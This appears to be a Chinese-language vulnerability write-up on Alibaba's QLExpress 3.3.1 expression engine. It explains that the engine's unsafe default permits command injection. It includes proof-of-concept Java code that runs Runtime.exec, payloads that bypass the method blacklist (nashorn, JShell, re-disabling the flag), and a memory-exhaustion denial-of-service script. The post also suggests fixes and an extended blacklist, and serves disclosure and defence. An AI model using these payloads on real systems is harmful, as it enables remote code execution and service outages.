QLExpress是什么

由阿里的电商业务规则、表达式(布尔组合)、特殊数学公式计算(高精度)、语法分析、脚本二次定制等强需求而设计的一门动态脚本引擎解析工具。 在阿里集团有很强的影响力,同时为了自身不断优化、发扬开源贡献精神,于2012年开源。

——https://github.com/alibaba/QLExpress

命令注入

由于 com.ql.util.express.config.QLExpressRunStrategy#forbidInvokeSecurityRiskMethods 默认为 false ,导致默认不安全,建议默认值改为 true

按照 https://github.com/alibaba/QLExpress#1-黑名单控制 说明:

image-20230628095902767

但实际上并不是默认安全的,微调官方demo成为漏洞demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package pers.neo.el;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;

public class qlexpress {
    public static void main(String[] args) throws Exception {
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
        context.put("a", 1);
        context.put("b", 2);
        context.put("c", 3);
        String express = "a + b * c";
        express="java.lang.Runtime.getRuntime().exec([\"cmd\",\"/c\",\"calc\"])"; //添加这一行
        Object r = runner.execute(express, context, null, true, false);
        System.out.println(r);
    }
}

添加maven依赖

1
2
3
4
5
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>QLExpress</artifactId>
            <version>3.3.1</version>
        </dependency>

com.ql.util.express.config.QLExpressRunStrategy#assertSecurityRiskMethod 下断点,发现 forbidInvokeSecurityRiskMethods 的值为false,没有进行安全检查。

forbidInvokeSecurityRiskMethods 的值是在 com.ql.util.express.config 中定义的,默认为false。这不符合应用默认安全的推荐实践。

修复方法一:禁止黑名单方法

添加

1
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

修复方法二:使用沙箱模式

沙箱模式会完全关闭和Java的交互:

some more pocs

https://github.com/luelueking/QLExpress-3.3.0-vuln-poc/

RCE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package vuln;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.config.QLExpressRunStrategy;

/**
 * 黑名单绕过
 */
public class Test1 {
    public static void main(String[] args) throws Exception {
        // 开启黑名单
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();

//        使用ScriptEngineManager绕过黑名单
//        String payload1_1 = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\");";
//        String payload1_2 = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";


//        Jdk>9时采用jShell绕过
//        String payload2 = "jdk.jshell.JShell.create().eval('java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")')";

//        利用QLExpressRunStrategy关闭黑名单
        String payload3 = "import com.ql.util.express.config.QLExpressRunStrategy;QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(false);Runtime.getRuntime().exec(\"open -a calculator.app\");";
        runner.execute(payload3, new DefaultContext<>(), null, false, true);
    }
}

DoS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Test2 {
    public static void main(String[] args) throws Exception {
      	// 开启白名单,并指定使用特定安全方法
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        QLExpressRunStrategy.addSecureMethod(RiskBean.class, "secureMethod");
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
        String code = "byte[] bytes = new byte[2147483645];for (i=0;i<2147483645;i++) {new String(bytes);}";
        runner.execute(code, new DefaultContext<>(), null, false, true);
    }
}

加强黑名单列表

1
2
3
4
SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName()+".setForbidInvokeSecurityRiskMethods");
SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");

参考

QLExpress最新版本(3.3.1)默认不安全,存在命令注入

QLExpress-3.3.0-vuln-poc[BUG]